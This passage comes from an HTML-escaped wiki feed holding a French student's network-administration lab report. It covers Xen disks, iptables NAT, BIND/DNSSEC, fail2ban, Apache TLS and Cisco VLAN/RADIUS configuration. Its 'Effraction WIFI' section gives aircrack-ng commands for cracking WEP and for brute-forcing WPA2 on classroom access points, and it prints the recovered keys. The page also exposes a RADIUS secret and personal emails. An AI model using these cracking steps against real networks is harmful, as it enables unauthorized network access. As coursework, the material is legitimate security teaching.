&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine de service ===&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;identifier l&#039;interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d&#039;identifier l&#039;adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l&#039;adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s&#039;arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s&#039;interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12249</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12249"/>
		<updated>2026-02-11T14:35:21Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
=== Infos concernant notre binôme : ===&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
